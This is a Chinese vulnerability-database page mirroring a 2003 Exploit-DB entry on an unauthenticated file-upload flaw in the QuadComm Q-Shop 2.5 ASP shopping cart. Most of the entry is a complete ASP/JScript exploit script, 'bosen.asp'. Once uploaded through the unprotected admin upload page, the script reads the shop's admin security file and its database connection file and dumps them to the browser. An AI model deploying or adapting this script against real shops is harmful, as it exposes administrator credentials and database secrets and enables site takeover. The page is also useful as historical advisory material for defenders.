QuadComm Q-Shop 2.5 – Failure To Validate Credentials

QuadComm Q-Shop 2.5 – Failure To Validate Credentials

漏洞ID 1054022 漏洞类型
发布时间 2003-07-09 更新时间 2003-07-09
图片[1]-QuadComm Q-Shop 2.5 – Failure To Validate Credentials-安全小百科CVE编号 N/A
图片[2]-QuadComm Q-Shop 2.5 – Failure To Validate Credentials-安全小百科CNNVD-ID N/A
漏洞平台 ASP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22885
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8153/info

Zone-H has reported that the Q-Shop ASP shopping cart software contains a vulnerability that may allow remote attackers to upload arbitrary files. Once uploaded, the attacker may be able to have the script executed in the security context of the Web server. It is reported that Q-Shop provides an interface intended for administrators to upload files, however when this file is requested directly, no authentication is required.

// 1ndonesian Security Team
// http://bosen.net/releases/
//
// bosen.asp
// Do server side file reading and dump it to the web as a text file.
//
<% @ Language = JScript %>
<%
function WinPath(absPath) {this.absolutePath = absPath;}
function getAbsPath() {return this.absolutePath;}
WinPath.prototype.getAbsolutePath = getAbsPath;

function fileRead(file) {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"), strOut = ""
  var tmp = file, f, g = FSO.GetFile(tmp);
  f = FSO.OpenTextFile(tmp, 1, false);
  strOut = "<PRE STYLE="font-size:9pt;">";
  strOut+= Server.HTMLEncode(f.ReadAll());
  strOut+= "</pre>";
  f.Close();
  return(strOut);
}

var a = new WinPath(Server.Mappath("/"));
var curDir   = a.getAbsolutePath();

// You can change these
var admin = curDir + "\q-shop25\admin\security.asp";
var db = curDir + "\q-shop25\inc\conx.asp";

with (Response) {
  Write("<b>ServerRoot : "+curDir+"<br></b>");
  Write("<b>Admin Info : "+admin+"<br><br></b>");
  Write(fileRead(admin));
  Write("<b>DB Info : "+db+"<br><br></b>");
  Write(fileRead(db));
}
%>

相关推荐: Windows NT信息泄漏漏洞

Windows NT信息泄漏漏洞 漏洞ID 1206662 漏洞类型 未知 发布时间 2000-01-20 更新时间 2000-01-20 CVE编号 CVE-1999-0595 CNNVD-ID CNNVD-200001-049 漏洞平台 N/A CVSS评…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享